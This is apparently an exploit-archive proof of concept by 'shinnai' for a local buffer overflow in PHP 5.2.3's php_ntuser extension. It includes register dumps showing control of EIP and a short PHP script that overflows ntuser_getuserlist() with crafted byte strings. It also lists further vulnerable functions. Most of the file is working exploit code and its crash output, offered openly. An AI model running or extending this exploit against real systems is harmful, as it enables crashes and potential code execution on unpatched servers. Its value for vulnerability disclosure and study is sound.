phpget-overflow.txt

`<?php  
//PHP 5.2.3 php_ntuser ntuser_getuserlist() Local Buffer Overflow  
//author: shinnai  
//mail: shinnai[at]autistici[dot]org  
//site: http://shinnai.altervista.org  
  
//greetz to BrainBugger Crew  
//http://www.brainbugger.altervista.org/  
  
//Bug discovered with "Footzo" (thanks to rgod) modified.  
  
//To download Footzo:  
//original link: http://godr.altervista.org/index.php?mod=Download/useful_tools#footzo.rar  
//alternative: http://www.shinnai.altervista.org/index.php?mod=Download/Utilities#footzo.rar  
  
//also theese are vulnerable:  
//ntuser_getusergroups <-- DoS, we control EAX  
//ntuser_getdomaincontroller <-- DoS, we control EAX  
//ntuser_getuserinfo <-- BoF, we control EIP 00410041  
  
//This is the content of registers:  
  
//EAX FFFFFFFE  
//ECX 00000754  
//EDX 00000041  
//EBX 00223D18  
//ESP 00C0FB34 UNICODE "CCC... x 100"  
//EBP 00C0FBD0 UNICODE "CCC + DDD... x 100"  
//ESI 011AC4A8  
//EDI 011ADC00  
//EIP 00410041  
  
$buff = str_repeat("\x41", 250);  
  
$get_EIP = "\x42\x42";  
  
$get_ESP = str_repeat("\x43", 100);  
  
$get_EBP = str_repeat("\x44", 100);  
  
ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP);  
?>  
  
`